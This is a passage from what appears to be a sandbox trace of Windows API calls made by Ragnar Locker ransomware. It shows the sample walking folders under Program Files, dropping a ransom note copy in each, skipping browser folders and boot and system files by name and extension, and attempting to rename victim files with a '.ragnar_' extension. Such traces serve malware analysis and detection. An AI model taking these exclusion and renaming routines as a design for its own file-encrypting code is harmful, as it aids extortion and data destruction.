"c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.592] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*" [0078.592] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.592] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.592] lstrcpyW (in: lpString1=0x1eb20a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.592] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81166d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.592] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.592] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81166d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.593] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.593] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.593] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0078.593] lstrcmpiW (lpString1="adcjavas.inc", lpString2=".") returned 1 [0078.593] lstrcmpiW (lpString1="adcjavas.inc", lpString2="..") returned 1 [0078.593] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0078.593] lstrcmpiW (lpString1="adcvbs.inc", lpString2=".") returned 1 [0078.593] lstrcmpiW (lpString1="adcvbs.inc", lpString2="..") returned 1 [0078.593] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.593] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0078.593] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0078.593] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0078.593] lstrcmpiW (lpString1="en-US", lpString2="Windows.old") returned -1 [0078.593] lstrcmpiW (lpString1="en-US", lpString2="Tor browser") returned -1 [0078.593] lstrcmpiW (lpString1="en-US", lpString2="Internet Explorer") returned -1 [0078.593] lstrcmpiW (lpString1="en-US", lpString2="Google") returned -1 [0078.593] lstrcmpiW (lpString1="en-US", lpString2="Opera") returned -1 [0078.593] lstrcmpiW (lpString1="en-US", lpString2="Opera Software") returned -1 [0078.593] lstrcmpiW (lpString1="en-US", lpString2="Mozilla") returned -1 [0078.593] lstrcmpiW (lpString1="en-US", lpString2="Mozilla Firefox") returned -1 [0078.593] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.Bin") returned 1 [0078.593] lstrcmpiW (lpString1="en-US", lpString2="ProgramData") returned -1 [0078.593] lstrcmpiW (lpString1="en-US", lpString2="All Users") returned 1 [0078.593] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.593] lstrcpyW (in: lpString1=0x1eb61e, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0078.593] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" [0078.593] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" [0078.593] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\RGNR_FD7BD9FC.txt" [0078.593] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.597] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*" [0078.597] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.597] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.597] lstrcpyW (in: lpString1=0x1ea73e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81166d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.597] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81166d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.597] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.597] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0078.597] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2=".") returned 1 [0078.597] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="..") returned 1 [0078.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0078.597] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2=".") returned 1 [0078.597] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="..") returned 1 [0078.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0078.597] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2=".") returned 1 [0078.597] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="..") returned 1 [0078.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0078.597] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2=".") returned 1 [0078.597] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="..") returned 1 [0078.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0078.597] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2=".") returned 1 [0078.597] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="..") returned 1 [0078.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0078.597] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2=".") returned 1 [0078.597] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="..") returned 1 [0078.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81166d80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.598] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.598] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81166d80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.598] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81166d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81166d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0078.598] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.598] lstrcpyW (in: lpString1=0x1eab52, lpString2="msadcer.dll.mui" | out: lpString1="msadcer.dll.mui") returned="msadcer.dll.mui" [0078.598] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned=".mui" [0078.598] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.598] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="autorun.inf") returned 1 [0078.598] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="boot.ini") returned 1 [0078.598] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="bootfont.bin") returned 1 [0078.598] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="bootsect.bak") returned 1 [0078.598] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="bootmgr") returned 1 [0078.598] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="bootmgr.efi") returned 1 [0078.598] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="bootmgfw.efi") returned 1 [0078.598] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="desktop.ini") returned 1 [0078.598] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="iconcache.db") returned 1 [0078.598] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="ntldr") returned -1 [0078.598] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="ntuser.dat") returned -1 [0078.598] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="ntuser.dat.log") returned -1 [0078.598] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="ntuser.ini") returned -1 [0078.598] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="thumbs.db") returned -1 [0078.598] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.598] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.598] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.599] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.599] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.599] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.599] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0078.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.600] CloseHandle (hObject=0xffffffff) returned 0 [0078.600] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" [0078.600] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui.ragnar_FD7BD9FC" [0078.600] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.600] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0078.600] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.600] lstrcpyW (in: lpString1=0x1eab52, lpString2="msadcfr.dll.mui" | out: lpString1="msadcfr.dll.mui") returned="msadcfr.dll.mui" [0078.600] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui") returned=".mui" [0078.600] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.600] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="autorun.inf") returned 1 [0078.600] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="boot.ini") returned 1 [0078.600] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="bootfont.bin") returned 1 [0078.600] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="bootsect.bak") returned 1 [0078.600] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="bootmgr") returned 1 [0078.600] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="bootmgr.efi") returned 1 [0078.600] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="bootmgfw.efi") returned 1 [0078.600] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="desktop.ini") returned 1 [0078.600] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="iconcache.db") returned 1 [0078.600] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="ntldr") returned -1 [0078.600] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="ntuser.dat") returned -1 [0078.600] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="ntuser.dat.log") returned -1 [0078.600] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="ntuser.ini") returned -1 [0078.600] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="thumbs.db") returned -1 [0078.600] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.600] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.600] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.601] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.601] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.601] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.601] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui")) returned 0x20 [0078.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.601] CloseHandle (hObject=0xffffffff) returned 0 [0078.601] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" [0078.601] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui.ragnar_FD7BD9FC" [0078.601] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.601] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0078.601] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.601] 